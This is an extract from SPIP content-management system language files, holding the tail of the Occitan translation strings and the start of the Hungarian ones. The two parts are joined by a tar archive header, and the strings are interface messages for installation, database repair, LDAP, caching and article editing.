'texte_date_publication_anterieure_nonaffichee' => 'N’afichar pas nada data de publicacion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Esfaçar la basa de dadas SPIP',
'texte_effacer_donnees_indexation' => 'Esfaçar las dadas d’indexacion',
'texte_en_cours_validation' => 'Que’s perpausa de publicar los articles e brèvas ça devath. N’esitetz pas de dar la vòsta idèa gràcias aus forums qui i son estacats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Que podetz enriquir la compaginacion deu vòste tèxt en utilizar "acorcidas tipograficas".',
'texte_fichier_authent' => '<b>E deu crear, SPIP, fichièrs especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dens lo repertòri @dossier@?</b><p>
Aqueths fichièrs que’vs pòden servir tà restrénher l’accès aus autors
e administrators alhors dens lo vòste sit
(programa extèrne d’estadisticas, per exemple).<p>
Se ne’vs serveish pas, que podetz deishar aquesta opcion
a la soa valor predefinida (nada creacion
deus fichièrs).', # MODIF
'texte_informations_personnelles_1' => 'Ara lo sistèma que’vs crearà un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’ageish d’ua reïnstallacion, e se lo vòste accès fonciona enqüèra, que podetz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Aquesta opcion qu’ei utila se lo vòste sit deu afichar alfabets
diferents de l’alfabet latin (o "occidentau") e los sons derivats.
En aqueth cas, que cau cambiar lo reglatge predefinit entà utilizar
un jòc de caractèrs apropiat. N’oblidetz pas tanpòc d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Aqueste reglatge n’a pas nat efièit retroactiu. Adonc
los tèxtes ja sasits que’s pòden afichar
d’ua manèra incorrècta après que s’aja modificat lo reglatge. De tot mòde
que poiratz tornar shens damatge au reglatge precedent.',
'texte_lien_hypertexte' => '(Se lo vòste messatge se refereish a un article publicat suu web, o a ua pagina hornint mei informacions, volhatz indicar ça devath lo títol de la pagina e la soa adreiça URL.)',
'texte_login_ldap_1' => '(Deishar vueid entà un accès anonim, o picar lo camin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò qu’ei lo login dab lo quau ètz ara connectat/ada.
Utilizatz aqueste formulari dab precaucion...',
'texte_message_edit' => 'Atencion: aqueste messatge, cada redactor que pòt vede’u, e cada administrator deu sit que pòt modificà’u. Utilizatz los anoncis sonque tà expausar eveniments importants de la vita deu sit.',
'texte_mise_a_niveau_base_1' => 'Que vienetz d’actualizar los fichièrs SPIP.
Ara que cau hicar a nivèu la basa de dadas
deu sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cercader qu’ei activat.</b> Utilizatz aquesta commanda
se voletz tornar indexar la basa rapidament (après restauracion
d’ua sauvagarda per exemple). Notatz que los documents modificats de
manèra normau (a partir de l’interfàcia SPIP) que’s tornan indexar
automaticament: donc aquesta comanda qu’ei utila sonque de manèra excepcionau.',
'texte_moteur_recherche_non_active' => 'Lo cercader n’ei pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir articles en mei d’una lenga, dab ua navigacion complèxa, que podetz hornir un menut entà causir la lenga deus articles e/o de las rubricas, en foncion de l’organizacion deu vòste sit.', # MODIF
'texte_multilinguisme_trad' => 'Que podetz tanben activar un sistèma de gestion deus ligams entre las diferentas reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (pr’amor que lo vòste servider non supòrta pas aquera foncionalitat)',
'texte_nouveau_message' => 'Messatge nau',
'texte_nouvelle_version_spip_1' => 'Qu’avetz installada ua version navèra d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version navèra que demanda ua actualizacion mei completa que de costuma. S’ètz webmèstre/webmèstra deu sit, volhatz esfaçar lo fichièr <tt>inc_connect.php3</tt> deu repertòri <tt>ecrire</tt> e tornar préner l’installacion entà actualizar los vòstes paramètres de connexion a la basa de dadas.<p> (NB: s’avetz desmembrat los vòstes paramètres de connexion, espiatz lo fichièr <tt>inc_connect.php3</tt> abans de suprimí’u...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, causitz ua auta basa o creatz-ne ua navèra. Verificatz las informacions que lo vòste aubergader a hornidas.',
'texte_plus_trois_car' => 'mei de 3 caractèrs',
'texte_plusieurs_articles' => 'Mei d’un autor trobat entà "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicada com predefinida que convien en generau.)',
'texte_proposer_publication' => 'Quora auratz acabat lo vòste article,<br /> que poiratz perpausar que sia publicat.',
'texte_proxy' => 'Dens daubuns cas (intranet, arrets protegits...),
qu’es pòt que calha utilizar un <i>proxy HTTP</i> tà aténher los sits sindicats.
En aqueth cas, marcatz ça devath la soa adreiça, devath la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
que deisharatz vueida aquera casa.',
'texte_publication_articles_post_dates' => 'Quin SPIP deu comportà’s fàcia aus articles que la lor
data de publicacion ei fixada a ua
escadença futura?',
'texte_rappel_selection_champs' => '[N’oblidetz pas de seleccionar aqueth camp corrèctament.]',
'texte_recalcul_page' => 'Se voletz
tornar calcular sonque ua pagina, passatz meilèu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pagina que recapitula la tèra deus documents qui avetz plaçats dens las rubricas. Tà modificar las informacions de cada document, seguitz lo ligam de cap tà la pagina de la soa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de dadas',
'texte_reference_mais_redirige' => 'article referenciat dens lo vòste sit SPIP, mes redirigit de cap tà ua autra URL.',
'texte_requetes_echouent' => '<b>Quora daubuas requèstas SQL s’i mauescaden
sistematicament e shens rason aparenta, que’s pòt
qu’aquò venga de la quita basa de dadas. </b><p>
SQL que tien la facultat de reparar las soas
taulas quan un accident las
a guastadas. Ací que podetz ensajar aquera reparacion; se
non s’i escad pas, servatz ua còpia de l’afichatge, que contien
dilhèu indicis de çò qui non va pas...<p>
Se lo problèma e persisteish, contactatz lo vòste
aubergader.<p>', # MODIF
'texte_selection_langue_principale' => 'Que podetz seleccionar ça devath la "lenga principau" deu sit. Aquera causida non vs’obliga pas -gran gai- d’escríver los vòstes articles dens la lenga seleccionada, mes que permet de determinar:
<ul><li> lo format predefinit de las datas suu sit public;</li>
<li> la natura deu motor tipografic que SPIP e deu utilizar tau rendut deus tèxts;</li>
<li> la lenga utilizada dens los formularis deu sit public;</li>
<li> la lenga presentada com predefinida dens l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'arrefusats',
'texte_suppression_fichiers' => 'Utilizatz aquera comanda tà suprimir tots los fichièrs qui’s tròban
dens l’esconeder SPIP. Aquò que permet per exemple de forçar un calcul nau de totas las paginas
s’avetz modificat de bèth pro lo grafisme o l’estructura deu sit.',
'texte_sur_titre' => 'Subertítol',
'texte_table_ok' => ': aquesta taula qu’ei condreta.',
'texte_tables_indexation_vides' => 'Las taulas d’indexacion deu motor que son vueidas.',
'texte_tentative_recuperation' => 'Ensai de reparacion',
'texte_tenter_reparation' => 'Ensajar de reparar la basa de dadas',
'texte_test_proxy' => 'Tà ensajar aqueth proxy, indicatz ací l’adreiça d’un sit web
qui voleretz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ qu’a trabalhat sus aqueth article @date_diff@ minutas a',
'texte_travail_collaboratif' => 'Quora ei frequent que mei d’un redactor
e trabalhe suu medish article, lo sistèma
que pòt afichar los articles recentament "aubèrts"
entà evitar las modificacions simultanèas.
Aquera opcion qu’ei desactivada de manèra predefinida
entà evitar d’afichar messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats entà "@cherche_auteur@" ; volhatz afinar la cèrca.',
'texte_unpack' => 'telecargament de la darrèra version',
'texte_utilisation_moteur_syndiques' => 'Quora utilizatz lo cercader integrat
a SPIP, que podetz har las cèrcas suus sits e
articles sindicats de duas manèras
diferentas. <br /><img src=\'puce.gif\' /> La mei
simpla que consisteish a cercar sonque dens los
títols e descriptius deus articles. <br /><img src=\'puce.gif\' />
La dusau manèra, plan mei potenta, que permet
a SPIP de cercar tanben dens lo tèxt deus
sits referenciats.
Se referenciatz un sit, alavetz SPIP que harà la
cèrca dens lo tèxt deu quite sit.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aqueth metòde qu’obliga SPIP de vesitar
regularament los sits referenciats,
aquò que pòt alentir un drin lo vòste quite
sit.',
'texte_vide' => 'vueid',
'texte_vider_cache' => 'Vueidar l’esconeder',
'titre_admin_effacer' => 'Mantienença tecnica',
'titre_admin_tech' => 'Mantienença tecnica',
'titre_admin_vider' => 'Mantienença tecnica',
'titre_cadre_afficher_article' => 'Afichar los articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat de las arreviradas tà las lengas seguentas:',
'titre_cadre_ajouter_auteur' => 'AJUSTAR UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Laguens la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMÈRO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion deu sit',
'titre_configuration' => 'Configuracion deu sit',
'titre_connexion_ldap' => 'Opcions: <b>La vòsta connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E ARREVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LOS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar peu lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica navèra',
'titre_numero_rubrique' => 'RUBRICA NUMÈRO:',
'titre_page_admin_effacer' => 'Mantienença tecnica: esfaçar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Calendèr @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion deu sit',
'titre_page_config_fonctions' => 'Configuracion deu sit',
'titre_page_configuration' => 'Configuracion deu sit',
'titre_page_controle_petition' => 'Seguit de las peticions',
'titre_page_delete_all' => 'supression totau e irreversibla',
'titre_page_documents_liste' => 'Los documents de las rubricas',
'titre_page_index' => 'Lo vòste espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'La vòsta messatjaria',
'titre_page_recherche' => 'Resultats de la cèrca @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (ligams entrants)',
'titre_page_upgrade' => 'Hicada a nivèu d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion deus articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDETZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Seguit de las peticions',
'trad_article_inexistant' => 'N’i a pas nat article qui pòrte aqueth numèro.',
'trad_article_traduction' => 'Totas las versions d’aqueth article:',
'trad_deja_traduit' => 'Aqueth article qu’ei ja ua arrevirada de l’article present.',
'trad_delier' => 'Non ligar plus aqueste article a las soas arreviradas ', # MODIF
'trad_lier' => 'Aqueste article qu’ei ua arrevirada de l’article numèro:',
'trad_new' => 'Escríver ua arrevirada navèra d’aqueste article' # MODIF
);
?>
ecrire_hu.php 0000666 00000155205 15252547432 0007247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Plugin aktiválása',
'aide_non_disponible' => 'Ez a része a súgónak még nincs lefordítva arra a nyelvre.',
'auteur' => 'Szerzőr :',
'avis_acces_interdit' => 'Hozzáférés nincs engedélyezve',
'avis_article_modifie' => 'Vigyázat, @nom_auteur_modif@ dolgozott ezen a cikken @date_diff@ perccel ezelőtt',
'avis_aucun_resultat' => 'Nincs eredmény.',
'avis_chemin_invalide_1' => 'Az Ön által választott elérési út',
'avis_chemin_invalide_2' => 'nem tűnik érvényesnek. Menjen az elöző oldalra és ellenőrizze a beírt adatokat.',
'avis_connexion_echec_1' => 'A SQL szerverhez való csatlakozás sikertelen.', # MODIF
'avis_connexion_echec_2' => 'Menjen az elöző oldalra, és ellenőrizze a beírt adatokat.',
'avis_connexion_echec_3' => '<b>Megjegyzés:</b> Sok szerver esetén, <b>kérni kell</b> a SQL adatbázishoz való hozzáférés aktválását, mielőbb használhassa. Amennyiben nem tud csatlakozni, ellenőrizze, ha ez az eljárás megtörtént-e.', # MODIF
'avis_connexion_ldap_echec_1' => 'Az LDAP szerverhez való csatlakozás sikertelen.',
'avis_connexion_ldap_echec_2' => 'Menjen az elöző oldalra, és ellenőrizze a beírt adatokat.',
'avis_connexion_ldap_echec_3' => 'Alternatív módon, ne használja az LDAP támogatást felhasználók importálására.',
'avis_deplacement_rubrique' => 'Vigyázat ! Ez a rovat @contient_breves@ hírt tartalmaz : ha át akarja helyezni, ezt a megerősítési jelölőkockát kell jelölni.',
'avis_destinataire_obligatoire' => 'Egy címzettet kell jelölni mielőbb elküldi ezt az üzenetet.',
'avis_erreur_connexion_mysql' => 'SQL-es csatlakozási hiba', # MODIF
'avis_erreur_version_archive' => '<b>Vigyázat! A @archive@ fájl az itt telepített SPIP
egy másik verziónak felel meg
</b> Óriási nehézségek előtt áll:
az Ön adatbázis megsemmisítése, honlap rossz működése, stb. Ne
érvényesítse ezt az impotálási kérést.<p>több
információról lásd <a href="@spipnet@">
SPIP dokumentációja (franciául)</a>.', # MODIF
'avis_espace_interdit' => '<b>Tiltott zóna</b><p>SPIP már telepítve van.', # MODIF
'avis_lecture_noms_bases_1' => 'A telepítő program nem tudta olvasni a már telepített adatbázisok nevét.',
'avis_lecture_noms_bases_2' => 'Vagy egyetlen adatbázis sem szabad, vagy az adatbázisokat listázó függvény lett inaktiválva
biztonsági okokból (ami előfordul számos szolgáltatónál).',
'avis_lecture_noms_bases_3' => 'A második alternativában elképzelhető, hogy az Ön login nevét viselő adatbázis használható :',
'avis_non_acces_message' => 'Nincs jogosultsága erre az üzenetre.',
'avis_non_acces_page' => 'Nincs jogosultsága erre az oldalra.',
'avis_operation_echec' => 'A művelet sikertelen.',
'avis_probleme_archive' => 'Olvasási hiba a @archive@ nevű fájlon',
'avis_suppression_base' => 'VIGYÁZAT, az adatok törlése visszavonhatatlan',
'avis_version_mysql' => 'Ez a SQL verzió (@version_mysql@) nem teszi lehetővé a adatbázis táblai önjavítását.', # MODIF
// B
'bouton_acces_ldap' => 'Hozzátenni az LDAP hozzáférést >>', # MODIF
'bouton_ajouter' => 'Új',
'bouton_ajouter_participant' => 'ÚJ RÉSZTVEVŐ :',
'bouton_annonce' => 'HÍRDETÉS',
'bouton_checkbox_envoi_message' => 'Lehetőség üzenetküldéshez',
'bouton_checkbox_indiquer_site' => 'Honlapot kötelezően kell kijelölni',
'bouton_checkbox_signature_unique_email' => 'csak egy aláírás emailcímenként',
'bouton_checkbox_signature_unique_site' => 'csak egy aláírás honlaponként',
'bouton_demande_publication' => 'Kérni e cikk publikálását',
'bouton_desactive_tout' => 'Minden tiltása',
'bouton_effacer_index' => 'Törölni az indexeket',
'bouton_effacer_tout' => 'MINDENT törölni',
'bouton_envoi_message_02' => 'ÜZENET KÜLDÉS',
'bouton_envoyer_message' => 'Végleges üzenet: küldés',
'bouton_modifier' => 'Módosítás',
'bouton_pense_bete' => 'EMLÉKEZTETŐ SZEMÉLYES HASZNÁLATHOZ',
'bouton_radio_activer_messagerie' => 'A belső üzenetek aktiválása',
'bouton_radio_activer_messagerie_interne' => 'A belső üzenetek aktiválása',
'bouton_radio_activer_petition' => 'Az aláírásgyűjtés aktiválása',
'bouton_radio_afficher' => 'Megjelenítés',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Szerepelni a csatlakozott szerzők listában',
'bouton_radio_desactiver_messagerie' => 'Inaktiválni az üzeneteket',
'bouton_radio_envoi_annonces_adresse' => 'Küldeni a hírdetéseket a következő címre :',
'bouton_radio_envoi_liste_nouveautes' => 'Küldeni az újdongágok listáját',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nem szerepelni a szerzők listában',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ne legyen szerkesztői hírküldés',
'bouton_radio_pas_petition' => 'Nincs aláírásgyűjtés',
'bouton_radio_petition_activee' => 'Aláírásgyűjtés aktiválása',
'bouton_radio_supprimer_petition' => 'Törölni az aláírásgyűjtést',
'bouton_redirection' => 'ÁTIRÁNYÍTÁS',
'bouton_relancer_installation' => 'Telepítés újrakezdése',
'bouton_suivant' => 'Következő',
'bouton_tenter_recuperation' => 'Kisérletezni egy javítást',
'bouton_test_proxy' => 'Probálni a proxyt',
'bouton_vider_cache' => 'A "cache" ürítése',
'bouton_voir_message' => 'Nézni az üzenetet jóváhagyás előtt',
// C
'cache_mode_compresse' => 'A "cache" fájlai tömörített formában vannak felvéve.',
'cache_mode_non_compresse' => 'A "cache" fájlai nem tömörített formában vannak felvéve.',
'cache_modifiable_webmestre' => 'Ezt a paramétert a honlap gazdája módosíthatja.',
'calendrier_synchro' => 'Amennyiben egy <b>iCal</b>-val kompatibilis szoftvert használ, lehet szinkronizálni e honlap információival.',
// D
'date_mot_heures' => 'órák',
// E
'email' => 'email',
'email_2' => 'email :',
'entree_adresse_annuaire' => 'A címjegyzék címe',
'entree_adresse_email' => 'Az Ön email címe',
'entree_base_donnee_1' => 'Adatbázis címe',
'entree_base_donnee_2' => '(Gyakran ez a cím a honlapé, néha «localhost», néha teljesen üres marad.)',
'entree_biographie' => 'Rövid önéletrajz pár szóban.',
'entree_chemin_acces' => '<b>Beírni</b> az elerési utat :', # MODIF
'entree_cle_pgp' => 'Az Ön PGP kulcsa',
'entree_contenu_rubrique' => '(Rovat tartalma pár szóban.)',
'entree_identifiants_connexion' => 'A csatlakozási azonosítói...',
'entree_informations_connexion_ldap' => 'Ezen az űrlapon írja be az Ön LDAP szerver csatlakozási információkat.
Ezek az információ szerezhetők a rendszer, vagy a hálozat adminisztrátorától.',
'entree_infos_perso' => 'Kicsoda Ön ?',
'entree_interieur_rubrique' => 'Melyik rovatba kerüljön :',
'entree_liens_sites' => '<b>Hiperhívatkozás</b> (referencia, látógatható honlap...)', # MODIF
'entree_login' => 'Az Ön felhasználói neve (login)',
'entree_login_connexion_1' => 'Csatlakozási login',
'entree_login_connexion_2' => '(Néha megfelel az FTP loginjának; néha üres marad)',
'entree_login_ldap' => 'Eredeti LDAP login',
'entree_mot_passe' => 'Az Ön jelszava',
'entree_mot_passe_1' => 'Csatlakozási jelszó',
'entree_mot_passe_2' => '(Néha megfelel az FTP jelszavának; néha üres marad)',
'entree_nom_fichier' => 'Írja be a fájl nevét @texte_compresse@:',
'entree_nom_pseudo' => 'Az Ön neve, vagy felhasználói neve',
'entree_nom_pseudo_1' => '(Az Ön neve vagy felhsználói neve)',
'entree_nom_site' => 'A honlapja neve',
'entree_nouveau_passe' => 'Új jelszó',
'entree_passe_ldap' => 'Jelszó',
'entree_port_annuaire' => 'A címtár port száma',
'entree_signature' => 'Aláírás',
'entree_titre_obligatoire' => '<b>Cím</b> [Kötelező]<br />', # MODIF
'entree_url' => 'A honlapja címe (URL)',
'erreur_plugin_fichier_absent' => 'Nem létező fájl',
'erreur_plugin_fichier_def_absent' => 'Nem létező definiáló fájl',
'erreur_plugin_nom_fonction_interdit' => 'Tilos függvénynév',
'erreur_plugin_nom_manquant' => 'Hiányzó plugin név',
'erreur_plugin_prefix_manquant' => 'Nem definiált plugin név terület',
'erreur_plugin_tag_plugin_absent' => 'hiányzó <plugin> a definiáló fájlban',
'erreur_plugin_version_manquant' => 'Hiányzó plugin verzió',
// I
'ical_info1' => 'Ez az oldal több módszert mutat ahhoz, hogy maradjon kapcsolatban e honlap életével.',
'ical_info2' => 'Azokról a technikákról tövábbi információk olvashatók ide <a href="@spipnet@">az SPIP dokumentációja (franciául)</a>.', # MODIF
'ical_info_calendrier' => 'Két naptár áll rendelkezésére. Az első egy olyan térpkép a honlapról, melyben szerepel az összes publikált cikk. A második pedig a tartalmi hírdetéseket, illetve az Ön utolsó privát üzenetei : egy személyes kulcsnak köszönhetően van fenntartva Ön részére, ami bármikor módosítható a jelszava változtatásával.',
'ical_methode_http' => 'Letöltés',
'ical_methode_webcal' => 'Szinkronizálás (webcal://)',
'ical_texte_js' => 'Egyetlenegy javascript sor nagyon egyszerűen teszi lehetővé az itteni honlap legutóbbi cikkei publikálását bármilyen honlapon, ami az Öné.',
'ical_texte_prive' => 'Ez a naptár, ami szigorúan személyes használatra, informálja Önt a honlap privát tartalmi tevékenységről (feladatok és személyes talákozások, javasolt cikkek és hírek...).',
'ical_texte_public' => 'Ez a naptár a honlap nyilvános tevékenységének a figyelését teszi lehetővé (publikált cikkek és hírek).',
'ical_texte_rss' => 'Ön a honlap ujdonságait szindikálhatja bármilyen XML/RSS (Rich Site Summary)tipusú fájlolvasóval. Valamint ez a formátum SPIP részére teszi lehetővé más honlapok publikált újdonságok olvasását (szindikált honlapok).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Levelező lista',
'ical_titre_rss' => '« backend » fájlok (rss)',
'icone_activer_cookie' => 'A hivatkozási süti (cookie) aktiválása',
'icone_admin_plugin' => 'Plugin-ek beállítása',
'icone_afficher_auteurs' => 'Megjeleníteni a szerzőket',
'icone_afficher_visiteurs' => 'Megjeleníteni a látogatókat',
'icone_arret_discussion' => 'Megszüntetni a vitahoz való részvételt ',
'icone_calendrier' => 'Naptár',
'icone_creer_auteur' => 'Új szerző létrehozása, és hozzárendelése ehhez a cikkekhez',
'icone_creer_mot_cle' => 'Új kulcsszó létrehozása és hozzárendelése ehhez a cikkhez',
'icone_creer_rubrique_2' => 'Új rovat létrehozása',
'icone_envoyer_message' => 'Üzenet küldése',
'icone_modifier_article' => 'A cikk módosítása',
'icone_modifier_message' => 'Az üzenet módosítása',
'icone_modifier_rubrique' => 'A rovat módosítása',
'icone_retour' => 'Vissza',
'icone_retour_article' => 'Vissza a cikkhez',
'icone_supprimer_cookie' => 'A hivatkozási süti (cookie) törlése',
'icone_supprimer_rubrique' => 'A rovat törlése',
'icone_supprimer_signature' => 'Az aláírás törlése',
'icone_valider_signature' => 'Az aláírás érvényesítése',
'image_administrer_rubrique' => 'Ezt a rubrikát adminisztrálhatja',
'info_1_article' => '1 cikk',
'info_1_site' => '1 honlap',
'info_activer_cookie' => 'Egy <b>hivatkozási sütit</b> (cookie) lehet aktiválni, melynek segítségével könnyen át tud menni a nyilvános részről a privát részre.',
'info_admin_gere_rubriques' => 'Ez az adminisztrátor a következő rovatokat kezelheti :',
'info_admin_gere_toutes_rubriques' => 'Ez az adminisztrátor az <b>összes rubrikát</b> kezeli.', # MODIF
'info_administrateur' => 'Adminisztrátor',
'info_administrateur_1' => 'Adminisztrátor',
'info_administrateur_2' => 'honlap (<i>óvatosan használja</i>)',
'info_administrateur_site_01' => 'Amennyiben Ön a honlap adminisztrátora, legyen szíves',
'info_administrateur_site_02' => 'kattintani erre a linkre',
'info_administrateurs' => 'Adminisztrátorok',
'info_administrer_rubrique' => 'Ezt a rubrikát Ön adminisztrálhatja',
'info_adresse' => 'ezen a címen :',
'info_adresse_url' => 'A nyilvános honlap címe (URL)',
'info_afficher_visites' => 'A látógatások megjelenítése erre :',
'info_aide_en_ligne' => 'On-line SPIP súgó',
'info_ajout_image' => 'Ha képeket tesz hozzá, mint cikkhez csatolt dokumentum,
akkor SPIP automatikusan létre hozhat Önnek kisebb képeket (miniatürök)a beszúrt képekről
Ez példáúl teszi lehetővé egy képgalléria, vagy egy portfolio automatikus létrehozása.',
'info_ajout_participant' => 'A következő résztvevő hozzá van téve :',
'info_ajouter_rubrique' => 'Újabb adminisztrálandó rovat létrehozása :',
'info_annonce_nouveautes' => 'Az újdonságok közlése',
'info_anterieur' => 'elöző',
'info_article' => 'cikk',
'info_article_2' => 'cikk',
'info_article_a_paraitre' => 'utólagosan dátumozott publikálandó cikkek',
'info_articles_02' => 'cikk',
'info_articles_2' => 'Cikkek',
'info_articles_auteur' => 'A szerző cikkei',
'info_articles_trouves' => 'Talált cikkek',
'info_articles_trouves_dans_texte' => 'Talált cikkek (a szövegben)',
'info_attente_validation' => 'Jóváhagyás alatti cikkei',
'info_aujourdhui' => 'A mai napon :',
'info_auteur_message' => 'AZ ÜZENET SZERZŐJE :',
'info_auteurs' => 'A szerzők',
'info_auteurs_par_tri' => 'Szerzők@partri@',
'info_auteurs_trouves' => 'Talált szerzők',
'info_authentification_externe' => 'Külső autentifikálás',
'info_avertissement' => 'Figyelmeztetés',
'info_base_installee' => 'Az Ön adatbázisának struktúrája telepítve van.',
'info_chapeau' => 'Bevezető',
'info_chapeau_2' => 'Bevezető :',
'info_chemin_acces_1' => 'Opciók : <b>Elérési út a címtárban</b>', # MODIF
'info_chemin_acces_2' => 'Mostántól a címtárban a információk elérési utját kell konfigurálni. Ez az adat nélkülözhetetlen ahhoz, hogy olvashatóak legyenek a felhaszálói profilok a címtárban.',
'info_chemin_acces_annuaire' => 'Opciók : <b>Elérési út a címtárban', # MODIF
'info_choix_base' => 'Harmadik lépés :',
'info_classement_1' => '<sup>.</sup> összesen @liste@',
'info_classement_2' => '<sup>.-dik</sup> összesen @liste@',
'info_code_acces' => 'Ne felejtse el a saját hozzáférési kódjait !',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'Ha ez a cím egy levelező listahoz tartozik, lejjebb azt a címet jelezheti, ahova a résztvevők beíratkozhatnak. Ez a cím akár URL lehet (pl. a beíratkozási oldal a Weben), vagy egy specifikus tárgyat tartalmazó email cím (pl.<tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Beíratkozhat a honlap levelező listájához. Ilyenkor emailben fogja kapni ezeket a cikkeket, híreket, melyeket javasoltak publikálásra.',
'info_confirmer_passe' => 'Az új jelszó erősítse meg :',
'info_connexion_base' => 'Második lépés : <b>Adatbázishoz való csatlakozási próba</b>', # MODIF
'info_connexion_ldap_ok' => 'Az LDAP csatlakozás sikeres lett.</b><p> Léphet tovább a következőre.</p>', # MODIF
'info_connexion_mysql' => 'Első lépés : <b>Az Ön SQL csatlakozása</b>', # MODIF
'info_connexion_ok' => 'A csatlakozás sikeres.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Cikkek tartalma',
'info_creation_paragraphe' => '(Paragrafúsok létrehozására, egyszerűen csak üres sorokat kell hagyni.)', # MODIF
'info_creation_rubrique' => 'Mielőbb cikkeket írhasson,<br /> legalább egy rubrikát kell létrehozni.<br />', # MODIF
'info_creation_tables' => 'Negyedik lépés : <b>Az adatbázis táblai létrehozása</b>', # MODIF
'info_creer_base' => '<b>Létrehozni</b> egy újabb adatbázist :', # MODIF
'info_dans_rubrique' => 'A rovatban :',
'info_date_publication_anterieure' => 'Elöző szerkesztés dátuma :',
'info_date_referencement' => 'A HONLAP ELTÁVOLÍTÁSA DÁTUMA :',
'info_derniere_etape' => 'Utolsó lépés : <b>Vége van !', # MODIF
'info_derniers_articles_publies' => 'Az Ön legutolsó publikált cikkei',
'info_desactiver_messagerie_personnelle' => 'Lehet aktiválni, vagy inaktiválni a személyes levelezést a honlapon.',
'info_descriptif' => 'Rövid ismertető :',
'info_discussion_cours' => 'Folyamatban lévő viták',
'info_ecrire_article' => 'Mielőbb írjon cikkeket, legalább egy rubrikát kell létrehozni.',
'info_email_envoi' => 'Email cím küldésre (opció)',
'info_email_envoi_txt' => 'Itt jelezze a használandó feladó címet az email küldésére (ennek híján, a címzett címét használjuk, mint feladói) :',
'info_email_webmestre' => 'A Webmester email címe (opció)', # MODIF
'info_entrer_code_alphabet' => 'Írja be a használandó abécé kódját :',
'info_envoi_email_automatique' => 'Automatikus email küldés',
'info_envoyer_maintenant' => 'Azonnali küldés',
'info_etape_suivante' => 'Következő lépés',
'info_etape_suivante_1' => 'Léphet a következőre.',
'info_etape_suivante_2' => 'Léphet a következőre.',
'info_exportation_base' => 'Adatbázis exportálása @archive@ felé',
'info_facilite_suivi_activite' => 'Ahhoz, hogy könnyebben lehessen figyelemmel követni a honlap szerkesztői tevékenységét, SPIP emailen küldheti például a publikálási, ill. cikkjóváhagyási kéréseket egy szerzői levelezőlistára.',
'info_fichiers_authent' => 'Azonosítási fájlok « .htpasswd »',
'info_forums_abo_invites' => 'A honlapja beiratkozásos fórumokat tartalmaz ; tehát a látogatók beíratkozhatnak a nyilvános részen.',
